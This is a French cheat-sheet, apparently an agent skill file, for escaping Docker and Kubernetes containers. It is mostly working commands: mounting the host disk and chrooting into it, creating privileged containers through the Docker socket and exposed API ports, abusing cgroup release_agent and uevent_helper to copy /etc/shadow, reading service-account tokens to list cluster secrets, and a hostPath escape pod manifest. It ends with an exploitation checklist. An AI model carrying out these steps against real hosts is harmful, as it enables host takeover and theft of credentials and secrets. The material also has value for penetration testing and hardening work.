| name | container-escape-techniques |
| description | Guide complet d'évasion de conteneurs Docker/Kubernetes — échappement via capabilities, mounts, cgroups, nsenter, k8s RBAC, service accounts, pods, et nodes |
| category | cybersecurite |
Évasion de Conteneurs — Docker & Kubernetes
Prérequis — Énumération dans un conteneur
id
cat /proc/1/cgroup
cat /proc/1/environ
cat /proc/self/mountinfo
capsh --print
cat /proc/1/status | grep Cap
capsh --decode=00000000a80425fb
ls -la /proc/1/ns/
cat /proc/1/status | grep Seccomp
cat /proc/1/attr/current
df -h
mount
ls -la /dev/
Technique 1: Privileged Container
cat /proc/1/status | grep CapEff
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash
fdisk -l
mount /dev/sda1 /mnt
Technique 2: SYS_ADMIN Capability
cat /proc/1/status | grep CapEff
mkdir /tmp/escape
mount --bind /tmp/escape /tmp/escape
unshare --mount --propagation slave
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
Technique 3: SYS_PTRACE + Injection
ps aux
Technique 4: Mount du Socket Docker
ls -la /var/run/docker.sock
ls -la /run/docker.sock
docker run -it --privileged --pid=host -v /:/host ubuntu /bin/bash
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
curl --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Technique 5: cgroup Escape
ls -la /sys/fs/cgroup/
mkdir /sys/fs/cgroup/memory/escape
echo 1 > /sys/fs/cgroup/memory/escape/notify_on_release
echo "/bin/sh -c 'cat /etc/shadow > /tmp/shadow'" > /release_agent
Technique 6: nsenter (namespace enter)
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash
ls /proc/*/root/
cat /proc/*/cmdline
nsenter --target <PID_HOST> --mount -- /bin/sh
Technique 7: Kernel Exploit
./linux-exploit-suggester.sh
./deepce.sh
Technique 8: Kubernetes Service Account
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
curl -k $APISERVER/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $TOKEN"
curl -k $APISERVER/api/v1/namespaces/default/secrets \
-H "Authorization: Bearer $TOKEN"
curl -k $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"spec":{"namespace":"default"}}'
K8s Escape via HostPath
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
containers:
- name: escape
image: ubuntu
command: ["/bin/sh"]
args: ["-c", "cat /host/etc/shadow; sleep 3600"]
volumeMounts:
- name: hostfs
mountPath: /host
volumes:
- name: hostfs
hostPath:
path: /
Technique 9: Docker.sock proxy
curl http://<HOST_IP>:2375/containers/json
curl http://<HOST_IP>:2376/containers/json
curl -X POST http://<HOST_IP>:2375/containers/create \
-d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Privileged":true,"Binds":["/:/host"]}}'
Technique 10: Writable /sys
ls -la /sys/kernel/uevent_helper
echo "#!/bin/bash" > /host_escape.sh
echo "cat /etc/shadow > /tmp/shadow" >> /host_escape.sh
chmod +x /host_escape.sh
echo "/host_escape.sh" > /sys/kernel/uevent_helper
echo change > /sys/class/.../uevent
Outils automatisés
git clone https://github.com/stealthcopter/deepce
cd deepce
./deepce.sh
git clone https://github.com/cdk-team/CDK
./cdk evaluate
amicontained
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
./linux-exploit-suggester.sh
kube-hunter --remote target.com
kube-hunter --cidr 10.0.0.0/24
git clone https://github.com/inguardians/peirates
./peirates
Checklist
ÉNUMÉRATION
☐ id, cat /proc/1/cgroup, mountinfo
☐ capabilities (capsh --print)
☐ Namespaces identiques au host ?
☐ Socket Docker monté ?
☐ Service account K8s présent ?
☐ Cgroups writable ?
☐ /sys/ accessible ?
☐ /dev/ devices bruts ?
☐ Process du host visibles ?
EXPLOITATION
☐ --privileged → mount /dev/sda1
☐ CAP_SYS_ADMIN → nsenter ou mount --bind
☐ CAP_SYS_PTRACE → ptrace injection
☐ /var/run/docker.sock → docker run privilégié
☐ cgroup notify_on_release
☐ nsenter --target 1 --mount
☐ Kernel exploit (dirty pipe, etc.)
☐ K8s RBAC → pods, secrets, hostPath
☐ API Docker TCP → 2375/2376
Ressources